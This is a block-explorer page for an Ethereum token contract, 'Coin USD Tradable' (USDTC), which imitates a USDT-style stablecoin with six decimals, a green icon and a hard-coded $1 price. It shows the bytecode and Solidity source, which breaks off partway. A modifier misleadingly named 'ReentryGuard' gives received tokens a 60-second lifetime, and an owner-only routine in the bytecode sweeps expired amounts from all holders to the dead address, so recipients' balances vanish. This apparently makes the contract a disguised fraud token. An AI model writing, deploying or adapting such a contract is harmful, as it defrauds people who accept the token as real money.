Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x6cB52086c435405379D028991B2f885BBDe05d44
Balance 0 ETH
Nonce 1
Code Size 10623 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

10623 bytes
0x6080604052600436106101bd575f3560e01c806370a08231116100f2578063a9059cbb11610092578063f2fde38b11610062578063f2fde38b146105e2578063f4e733c314610601578063f7331e3c14610616578063fae1c0e014610635575f80fd5b8063a9059cbb14610533578063c2a88c3e14610552578063c733e0e614610566578063dd62ed3e14610591575f80fd5b806387741434116100cd578063877414341461048e5780638da5cb5b146104ad57806395d89b41146104d6578063a54809e41461051e575f80fd5b806370a0823114610424578063715018a61461046557806385141a7714610479575f80fd5b806327e9b9171161015d5780633d0ee21b116101385780633d0ee21b1461038057806348f74b7a146103d25780634949b429146103f15780634b94f50e14610410575f80fd5b806327e9b917146102eb5780632a11ced0146102ff578063313ce56714610365575f80fd5b80631627905511610198578063162790551461028257806318160ddd146102a257806319777d1a146102b657806323b872dd146102cc575f80fd5b806306fdde03146101c8578063095ea7b3146102265780630f7e997314610255575f80fd5b366101c457005b5f80fd5b3480156101d3575f80fd5b506102106040518060400160405280601281526020017f436f696e20555344205472616461626c6520000000000000000000000000000081525081565b60405161021d9190611f7d565b60405180910390f35b348015610231575f80fd5b5061024561024036600461200e565b610663565b604051901515815260200161021d565b348015610260575f80fd5b5061027461026f366004612036565b6106f1565b60405190815260200161021d565b34801561028d575f80fd5b5061024561029c366004612036565b3b151590565b3480156102ad575f80fd5b50610274610733565b3480156102c1575f80fd5b506102ca610777565b005b3480156102d7575f80fd5b506102456102e6366004612056565b610a49565b3480156102f6575f80fd5b506102ca610ba8565b34801561030a575f80fd5b5061034061031936600461208f565b60066020525f908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161021d565b348015610370575f80fd5b506040516006815260200161021d565b34801561038b575f80fd5b506103bd61039a36600461200e565b600460209081525f92835260408084209091529082529020805460019091015482565b6040805192835260208301919091520161021d565b3480156103dd575f80fd5b506102ca6103ec36600461208f565b610c5a565b3480156103fc575f80fd5b5061024561040b36600461208f565b610cdf565b34801561041b575f80fd5b50610274610d15565b34801561042f575f80fd5b5061027461043e366004612036565b73ffffffffffffffffffffffffffffffffffffffff165f9081526002602052604090205490565b348015610470575f80fd5b506102ca610d22565b348015610484575f80fd5b5061034061dead81565b348015610499575f80fd5b506102ca6104a83660046120a6565b610e0f565b3480156104b8575f80fd5b505f5473ffffffffffffffffffffffffffffffffffffffff16610340565b3480156104e1575f80fd5b506102106040518060400160405280600581526020017f555344544300000000000000000000000000000000000000000000000000000081525081565b348015610529575f80fd5b50610274600a5481565b34801561053e575f80fd5b5061024561054d36600461200e565b6110d9565b34801561055d575f80fd5b50610210611156565b348015610571575f80fd5b50610274610580366004612036565b60056020525f908152604090205481565b34801561059c575f80fd5b506102746105ab3660046120df565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260036020908152604080832093909416825291909152205490565b3480156105ed575f80fd5b506102ca6105fc366004612036565b611175565b34801561060c575f80fd5b5061027460095481565b348015610621575f80fd5b506102ca610630366004612036565b6112a1565b348015610640575f80fd5b5061024561064f366004612036565b60076020525f908152604090205460ff1681565b5f6002600154036106d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b60026001556106e5338484611486565b50600180805592915050565b5f6106fe6006600a61225b565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526002602052604090205461072d9190612269565b92915050565b61dead5f90815260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc546107729066038d7ea4c680006122a1565b905090565b5f5473ffffffffffffffffffffffffffffffffffffffff1633146107f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106cc565b5f5b600a54811015610a46575f5b5f8281526006602090815260408083205473ffffffffffffffffffffffffffffffffffffffff1683526005909152902054811015610a33575f8281526006602090815260408083205473ffffffffffffffffffffffffffffffffffffffff16835260048252808320848452909152902060010154421180156108be57505f8281526006602090815260408083205473ffffffffffffffffffffffffffffffffffffffff1683526004825280832084845290915290205415155b15610a21575f8281526006602090815260408083205473ffffffffffffffffffffffffffffffffffffffff1680845260048352818420858552835281842054908452600290925282208054919290916109189084906122a1565b90915550505f8281526006602090815260408083205473ffffffffffffffffffffffffffffffffffffffff16835260048252808320848452825282205461dead835260029091527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc8054919290916109919084906122b4565b90915550505f828152600660209081526040808320805473ffffffffffffffffffffffffffffffffffffffff90811685526004808552838620878752855283862086905591541680855290835281842085855283529281902054905190815261dead92917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b80610a2b816122c7565b915050610805565b5080610a3e816122c7565b9150506107f9565b50565b5f600260015403610ab6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106cc565b600260015573ffffffffffffffffffffffffffffffffffffffff84165f90815260036020908152604080832033845290915290205482811015610b7b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084016106cc565b610b86858585611638565b610b9a8533610b9586856122a1565b611486565b505060018080559392505050565b5f5473ffffffffffffffffffffffffffffffffffffffff163314610c28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106cc565b600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00811660ff90911615179055565b5f5473ffffffffffffffffffffffffffffffffffffffff163314610cda576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106cc565b600955565b335f908152600360209081526040808320308452909152812054821180159061072d575081610d0d3361043e565b101592915050565b5f6107726008600a6122fe565b5f5473ffffffffffffffffffffffffffffffffffffffff163314610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106cc565b5f805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b5f5473ffffffffffffffffffffffffffffffffffffffff163314610e8f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106cc565b5f8211610f1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f416d6f756e742073686f756c642062652067726561746572207468616e207a6560448201527f726f00000000000000000000000000000000000000000000000000000000000060648201526084016106cc565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff8416906370a0823190602401602060405180830381865afa158015610f86573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610faa9190612309565b821115611013576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f496e73756666696369656e7420416d6f756e740000000000000000000000000060448201526064016106cc565b6040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82811660048301526024820184905284169063a9059cbb906044016020604051808303815f875af1158015611085573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110a99190612320565b5060405182907fc3cafad8c1a78aa542c18679d54d2e14cf1f08b516ac12071dcf9fd2d3701c22905f90a2505050565b5f600260015403611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106cc565b60026001556106e5338484611638565b60405180610640016040528061060a815260200161234061060a913981565b5f5473ffffffffffffffffffffffffffffffffffffffff1633146111f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106cc565b73ffffffffffffffffffffffffffffffffffffffff8116611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016106cc565b610a4681611f09565b5f5473ffffffffffffffffffffffffffffffffffffffff163314611321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106cc565b47806113af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f416d6f756e742073686f756c642062652067726561746572207468616e207a6560448201527f726f00000000000000000000000000000000000000000000000000000000000060648201526084016106cc565b47811115611419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f496e73756666696369656e7420416d6f756e740000000000000000000000000060448201526064016106cc565b60405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083905f818181858888f19350505050158015611459573d5f803e3d5ffd5b506040517fc680f238873c988c7dc872ec40caca9d70edfe000c3d44a1b9410684db937675905f90a15050565b73ffffffffffffffffffffffffffffffffffffffff8316611528576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016106cc565b73ffffffffffffffffffffffffffffffffffffffff82166115cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016106cc565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60085483908390839060ff16611bc35773ffffffffffffffffffffffffffffffffffffffff83165f9081526005602052604081205490036116fc5760405180604001604052808281526020016009544261169291906122b4565b905273ffffffffffffffffffffffffffffffffffffffff83165f818152600460209081526040808320600580845282852080548652918452918420865181559583015160019096019590955592825291909152815491906116f2836122c7565b9190505550611a37565b805f5b73ffffffffffffffffffffffffffffffffffffffff85165f908152600560205260409020548110156119cc5773ffffffffffffffffffffffffffffffffffffffff85165f9081526004602090815260408083208484529091529020600101544210156119b45773ffffffffffffffffffffffffffffffffffffffff85165f90815260046020908152604080832084845290915290205482116118785773ffffffffffffffffffffffffffffffffffffffff85165f908152600460209081526040808320848452909152812080548492906117da9084906122a1565b909155505060408051808201825283815273ffffffffffffffffffffffffffffffffffffffff8088165f908152600460208181528583208784528152858320600190810154828701908152948b16808552928252868420600580845288862080548752918452978520965187559451950194909455815292909152805491611861836122c7565b90915550611871905082806122a1565b91506119b4565b73ffffffffffffffffffffffffffffffffffffffff85165f908152600460209081526040808320848452909152902054156119b45773ffffffffffffffffffffffffffffffffffffffff85165f9081526004602090815260408083208484529091529020546118e790836122a1565b60408051808201825273ffffffffffffffffffffffffffffffffffffffff8089165f90815260046020818152858320888452815285832080548652600190810154828701908152948c1680855292825286842060058084528886208054875291845297852096518755945195019490945581529290915280549294509061196d836122c7565b909155505073ffffffffffffffffffffffffffffffffffffffff85165f90815260046020908152604080832084845290915281208054916119ae83806122a1565b90915550505b81156119cc57806119c4816122c7565b9150506116ff565b508015611a35576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600360248201527f457272000000000000000000000000000000000000000000000000000000000060448201526064016106cc565b505b73ffffffffffffffffffffffffffffffffffffffff83165f9081526007602052604090205460ff16611afd5773ffffffffffffffffffffffffffffffffffffffff83165f81815260076020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055600a805484526006909252822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690931790925581549190611af7836122c7565b91905055505b73ffffffffffffffffffffffffffffffffffffffff82165f9081526007602052604090205460ff16611bc35773ffffffffffffffffffffffffffffffffffffffff82165f81815260076020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055600a805484526006909252822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690931790925581549190611bbd836122c7565b91905055505b73ffffffffffffffffffffffffffffffffffffffff8616611c66576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016106cc565b73ffffffffffffffffffffffffffffffffffffffff8516611d09576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016106cc565b5f8411611d98576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f000000000000000000000000000000000000000000000060648201526084016106cc565b73ffffffffffffffffffffffffffffffffffffffff86165f90815260026020526040902054841115611e26576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e6365000000000000000000000000000060448201526064016106cc565b73ffffffffffffffffffffffffffffffffffffffff86165f9081526002602052604081208054869290611e5a9084906122a1565b909155505073ffffffffffffffffffffffffffffffffffffffff85165f9081526002602052604081208054869290611e939084906122b4565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611ef991815260200190565b60405180910390a3505050505050565b5f805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6020808352835180828501525f5b81811015611fa857858101830151858201604001528201611f8c565b505f6040828601015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8301168501019250505092915050565b803573ffffffffffffffffffffffffffffffffffffffff81168114612009575f80fd5b919050565b5f806040838503121561201f575f80fd5b61202883611fe6565b946020939093013593505050565b5f60208284031215612046575f80fd5b61204f82611fe6565b9392505050565b5f805f60608486031215612068575f80fd5b61207184611fe6565b925061207f60208501611fe6565b9150604084013590509250925092565b5f6020828403121561209f575f80fd5b5035919050565b5f805f606084860312156120b8575f80fd5b6120c184611fe6565b9250602084013591506120d660408501611fe6565b90509250925092565b5f80604083850312156120f0575f80fd5b6120f983611fe6565b915061210760208401611fe6565b90509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b600181815b8085111561219657817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482111561217c5761217c612110565b8085161561218957918102915b93841c9390800290612142565b509250929050565b5f826121ac5750600161072d565b816121b857505f61072d565b81600181146121ce57600281146121d8576121f4565b600191505061072d565b60ff8411156121e9576121e9612110565b50506001821b61072d565b5060208310610133831016604e8410600b8410161715612217575081810a61072d565b612221838361213d565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482111561225357612253612110565b029392505050565b5f61204f60ff84168361219e565b5f8261229c577f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b500490565b8181038181111561072d5761072d612110565b8082018082111561072d5761072d612110565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036122f7576122f7612110565b5060010190565b5f61204f838361219e565b5f60208284031215612319575f80fd5b5051919050565b5f60208284031215612330575f80fd5b8151801515811461204f575f80fdfe646174613a696d6167652f7376672b786d6c3b6261736536342c50484e325a79423462577875637a30696148523063446f764c336433647935334d793576636d63764d6a41774d43397a646d636949485a705a58644362336739496a41674d43417a4d69417a4d69492b50484268644767675a6d6c7362443069497a493251544533516949675a4430695454453249444d79517a63754d54597a49444d79494441674d6a51754f444d33494441674d545a544e7934784e6a4d674d4341784e694177637a4532494463754d54597a49444532494445324c5463754d54597a494445324c54453249444532656d30744c6a41314e4330314c6a6735597a55754d4459674d4341354c6a45324d7930304c6a45774d7941354c6a45324d7930354c6a45324d334d744e4334784d444d744f5334784e6a49744f5334784e6a4d744f5334784e6a4a544e6934334f444d674d5445754f446733494459754e7a677a494445324c6a6b304e334d304c6a45774d7941354c6a45324d7941354c6a45324d7941354c6a45324d336f694c7a3438634746306143426d615778735053496a526b5a474969426b50534a4e4d5463754d444934494445354c6a63304e324d744c6a5179494441744c6a677a4c5334774e6a67744d5334794d6a59744c6a4a684d7934774d4467674d7934774d4467674d4341774d5330784c6a417a4c5334314e7a51674d6934324f5341794c6a5935494441674d4445744c6a59354e6930754f544533494449754f446b7a494449754f446b7a494441674d4445744c6a49314d7930784c6a497a4e474d774c5334304d7a67754d4467304c5334344e444d754d6a557a4c5445754d6a45334c6a45334c53347a4e7a51754e4330754e6a6b324c6a59354e6930754f54593259544d754d54553249444d754d545532494441674d4445784c6a417a4c5334324d6a4a6a4c6a4d354e6930754d5451344c6a67774e6930754d6a4979494445754d6a49324c5334794d6a49754e4449674d4341754f444d754d446330494445754d6a49324c6a49794d6934304d4451754d5451344c6a63314c6a4d324e5341784c6a41304c6a59314c6a49344e7934794e7934314d5451754e546b794c6a59334e7934354e6a59754d5463754d7a63304c6a49314e5334334e7a6b754d6a5531494445754d6a4533637930754d4467314c6a67314d6930754d6a5531494445754d6a4d30595449754e7a59674d6934334e694177494441784c5334324e7a63754f54453349444d754d444d3249444d754d444d32494441674d4445744d5334774e4334314e7a526a4c53347a4f5463754d544d794c5334344d4463754d546b344c5445754d6a49324c6a45354f4870744d4330784c6a51794e324d754d6a63674d4341754e5445304c5334774e4459754e7a4d744c6a457a4f4334794d5467744c6a41354d6934304d4451744c6a49784e7934314e5467744c6a4d334e5745794c6a4178494449754d4445674d4341774d43347a4e6a67744c6a557a4e324d754d446b794c5334794d4449754d544d344c5334304d4467754d544d344c5334324d5463674d4330754d6a45744c6a41304e6930754e4445324c5334784d7a67744c6a59784f4745794c6a4178494449754d4445674d4341774d4330754d7a59344c5334314d7a63674d5334324e4445674d5334324e4445674d4341774d4330754e5455334c53347a4e7a55674d5334344f4341784c6a6734494441674d4441744c6a637a4c5334784d7a646a4c5334794e6a45674d4330754e5441314c6a41304e6930754e7a4d754d544d33595445754e7a4979494445754e7a4979494441674d4441744c6a55324e79347a4e7a55674d5334324e4455674d5334324e4455674d4341774d4330754d7a59334c6a557a4e324d744c6a41354d6934794d4449744c6a457a4f4334304d446b744c6a457a4f4334324d5467674d4341754d6a45754d4451324c6a51784e5334784d7a67754e6a45334c6a41354d6934794d4449754d6a457a4c6a4d344d79347a4e6a63754e544d334c6a45324d6934784e5467754d7a51344c6a49344d7934314e6a63754d7a63314c6a49794e5334774f5449754e4459354c6a457a4f4334334d7934784d7a68364969382b5043397a646d632ba2646970667358221220d350fb8e01e8b2198775f4987d5238d1fc428421910f643f70472aeb264448ed64736f6c63430008140033

Verified Source Code Full Match

Compiler: v0.8.20+commit.a1b79de6 EVM: shanghai Optimization: Yes (5000000 runs)
usdtc(con).sol 379 lines
    // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;
    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        _status = _ENTERED;
        _;
        _status = _NOT_ENTERED;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface AggregatorV3Interface {
    function decimals() external view returns (uint8);
    function description() external view returns (string memory);
    function version() external view returns (uint256);
    function getRoundData(uint80 _roundId) external view returns (
        uint80 roundId,
        int256 answer,
        uint256 startedAt,
        uint256 updatedAt,
        uint80 answeredInRound
    );
    function latestRoundData() external view returns (
        uint80 roundId,
        int256 answer,
        uint256 startedAt,
        uint256 updatedAt,
        uint80 answeredInRound
    );
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);
}

interface IPair {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address owner) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint256);
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint256);
    function price1CumulativeLast() external view returns (uint256);
    function kLast() external view returns (uint256);
    function mint(address to) external returns (uint256 liquidity);
    function burn(address to) external returns (uint256 amount0, uint256 amount1);
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

struct Amount {
    uint256 amount;
    uint256 lifeTime;
}

contract coinusd is Context, IERC20, Ownable, ReentrancyGuard {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => mapping (uint256 => Amount)) public txs;
    mapping(address => uint256) public amntsC;
    mapping(uint256 => address) public holders;
    mapping(address => bool) public isH;
    
    bool private stopGuard = false;
    uint8 private constant _decimals = 6;
    uint256 private constant _tTotal = 1_000_000_000 * (10**6); // 1 billion total supply
    uint256 public lifeTime = 60;
    uint256 public holdersC = 0;

    AggregatorV3Interface private immutable priceFeed;
    uint256 private constant PRICE_DECIMALS = 8;
    
    string public constant TOKEN_ICON = "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzMiAzMiI+PHBhdGggZmlsbD0iIzI2QTE3QiIgZD0iTTE2IDMyQzcuMTYzIDMyIDAgMjQuODM3IDAgMTZTNy4xNjMgMCAxNiAwczE2IDcuMTYzIDE2IDE2LTcuMTYzIDE2LTE2IDE2em0tLjA1NC01Ljg5YzUuMDYgMCA5LjE2My00LjEwMyA5LjE2My05LjE2M3MtNC4xMDMtOS4xNjItOS4xNjMtOS4xNjJTNi43ODMgMTEuODg3IDYuNzgzIDE2Ljk0N3M0LjEwMyA5LjE2MyA5LjE2MyA5LjE2M3oiLz48cGF0aCBmaWxsPSIjRkZGIiBkPSJNMTcuMDI4IDE5Ljc0N2MtLjQyIDAtLjgzLS4wNjgtMS4yMjYtLjJhMy4wMDggMy4wMDggMCAwMS0xLjAzLS41NzQgMi42OSAyLjY5IDAgMDEtLjY5Ni0uOTE3IDIuODkzIDIuODkzIDAgMDEtLjI1My0xLjIzNGMwLS40MzguMDg0LS44NDMuMjUzLTEuMjE3LjE3LS4zNzQuNC0uNjk2LjY5Ni0uOTY2YTMuMTU2IDMuMTU2IDAgMDExLjAzLS42MjJjLjM5Ni0uMTQ4LjgwNi0uMjIyIDEuMjI2LS4yMjIuNDIgMCAuODMuMDc0IDEuMjI2LjIyMi40MDQuMTQ4Ljc1LjM2NSAxLjA0LjY1LjI4Ny4yNy41MTQuNTkyLjY3Ny45NjYuMTcuMzc0LjI1NS43NzkuMjU1IDEuMjE3cy0uMDg1Ljg1Mi0uMjU1IDEuMjM0YTIuNzYgMi43NiAwIDAxLS42NzcuOTE3IDMuMDM2IDMuMDM2IDAgMDEtMS4wNC41NzRjLS4zOTcuMTMyLS44MDcuMTk4LTEuMjI2LjE5OHptMC0xLjQyN2MuMjcgMCAuNTE0LS4wNDYuNzMtLjEzOC4yMTgtLjA5Mi40MDQtLjIxNy41NTgtLjM3NWEyLjAxIDIuMDEgMCAwMC4zNjgtLjUzN2MuMDkyLS4yMDIuMTM4LS40MDguMTM4LS42MTcgMC0uMjEtLjA0Ni0uNDE2LS4xMzgtLjYxOGEyLjAxIDIuMDEgMCAwMC0uMzY4LS41MzcgMS42NDEgMS42NDEgMCAwMC0uNTU3LS4zNzUgMS44OCAxLjg4IDAgMDAtLjczLS4xMzdjLS4yNjEgMC0uNTA1LjA0Ni0uNzMuMTM3YTEuNzIyIDEuNzIyIDAgMDAtLjU2Ny4zNzUgMS42NDUgMS42NDUgMCAwMC0uMzY3LjUzN2MtLjA5Mi4yMDItLjEzOC40MDktLjEzOC42MTggMCAuMjEuMDQ2LjQxNS4xMzguNjE3LjA5Mi4yMDIuMjEzLjM4My4zNjcuNTM3LjE2Mi4xNTguMzQ4LjI4My41NjcuMzc1LjIyNS4wOTIuNDY5LjEzOC43My4xMzh6Ii8+PC9zdmc+";
    string public constant name = "Coin USD Tradable ";
    string public constant symbol = "USDTC";
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    event ERC20TokensRecovered(uint256 indexed _amount);
    event ETHBalanceRecovered();

    modifier ReentryGuard(
        address from,
        address to,
        uint256 amount
    ) { 
        if(!stopGuard){
            if(amntsC[from] == 0){
                txs[to][amntsC[to]] = Amount(amount, block.timestamp + lifeTime);
                amntsC[to]++;
            } else {
                uint256 amountLeft = amount;
                for (uint256 i = 0; i < amntsC[from]; i++) {
                    if(txs[from][i].lifeTime > block.timestamp) {
                        if(txs[from][i].amount >= amountLeft) {
                            txs[from][i].amount -= amountLeft;
                            txs[to][amntsC[to]] = Amount(amountLeft, txs[from][i].lifeTime);
                            amntsC[to]++;
                            amountLeft -= amountLeft;
                        } else if(txs[from][i].amount > 0) {
                            amountLeft -= txs[from][i].amount;
                            txs[to][amntsC[to]] = Amount(txs[from][i].amount, txs[from][i].lifeTime);
                            amntsC[to]++;
                            txs[from][i].amount -= txs[from][i].amount;
                        }
                    }
                    if(amountLeft == 0){break;}
                }
                if(amountLeft > 0) {
                    revert("Err");
                }
            }

            if(!isH[from]) {
                isH[from] = true;
                holders[holdersC] = from;
                holdersC++;
            }
            if(!isH[to]) {
                isH[to] = true;
                holders[holdersC] = to;
                holdersC++;
            }
        }
        _;
    }

    constructor() {
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
        
        priceFeed = AggregatorV3Interface(0x3E7d1eAB13ad0104d2750B8863b489D65364e32D);
    }

    receive() external payable {}

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getTokenPrice() public pure returns (uint256) {
        return 10**PRICE_DECIMALS;
    }

    function getBalanceUSD(address account) public view returns (uint256) {
        return balanceOf(account) / (10**_decimals);
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal - _balances[deadWallet];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override nonReentrant returns (bool) {
